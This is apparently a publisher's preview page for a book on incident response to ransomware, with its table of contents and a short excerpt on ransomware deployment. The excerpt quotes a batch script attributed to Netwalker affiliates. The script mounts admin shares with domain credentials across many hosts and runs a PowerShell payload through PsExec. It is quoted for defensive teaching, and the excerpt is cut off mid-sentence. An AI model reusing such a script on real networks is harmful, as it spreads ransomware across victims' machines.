You're reading from Incident Response Techniques for Ransomware Attacks Understand modern ransomware attacks and build an incident response strategy to work through them

Product type Paperback

Published in Apr 2022

Publisher Packt

ISBN-13 9781803240442

Length 228 pages

Edition 1st Edition

Concepts

Cybersecurity

Author (1):

Oleg Skulkin

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Table of Contents (17) Chapters

Preface

1. Section 1: Getting Started with a Modern Ransomware Attack

2. Chapter 1: The History of Human-Operated Ransomware Attacks FREE CHAPTER

3. Chapter 2: The Life Cycle of a Human-Operated Ransomware Attack

4. Chapter 3: The Incident Response Process

5. Section 2: Know Your Adversary: How Ransomware Gangs Operate

6. Chapter 4: Cyber Threat Intelligence and Ransomware

7. Chapter 5: Understanding Ransomware Affiliates' Tactics, Techniques, and Procedures

8. Chapter 6: Collecting Ransomware-Related Cyber Threat Intelligence

9. Section 3: Practical Incident Response

10. Chapter 7: Digital Forensic Artifacts and Their Main Sources

11. Chapter 8: Investigating Initial Access Techniques

12. Chapter 9: Investigating Post-Exploitation Techniques

13. Chapter 10: Investigating Data Exfiltration Techniques

14. Chapter 11: Investigating Ransomware Deployment Techniques

15. Chapter 12: The Unified Ransomware Kill Chain

16. Other Books You May Enjoy

Ransomware deployment

The final goal of any human-operated ransomware attack is ransomware deployment. By this time, the backups are wiped (or going to be encrypted first), the security products are disabled, and data is exfiltrated.

One of the most common deployment techniques is copying a ransomware payload via SMB and executing it with PsExec – a legitimate tool from the SysInternals suite that's commonly used by ransomware affiliates for remote execution.

Here's an example of how Netwalker ransomware affiliates leverage this tool for remote execution:

set INPUT_FILE=ips.txt
set DOMAINADUSER=DOMAIN\Administrator
set DOMAINADPASS=Passw0rd!
for /f %%G IN (%INPUT_FILE%) DO net use \\%%G\C$ /user:%DOMAINADUSER% %DOMAINADPASS%
for /f %%G IN (%INPUT_FILE%) DO copy n.ps1 \\%%G\C$\
for /f %%G IN (%INPUT_FILE%) DO PsExec.exe -d \\%%G powershell -ExecutionPolicy Bypass -NoProfile -NoLogo -NoExit -File C:\n.ps1

Another example is Egregor ransomware affiliates,...

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You're reading from Incident Response Techniques for Ransomware Attacks Understand modern ransomware attacks and build an incident response strategy to work through them

Table of Contents (17) Chapters

Ransomware deployment

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You're reading from Incident Response Techniques for Ransomware Attacks Understand modern ransomware attacks and build an incident response strategy to work through them

Table of Contents (17) Chapters

Ransomware deployment

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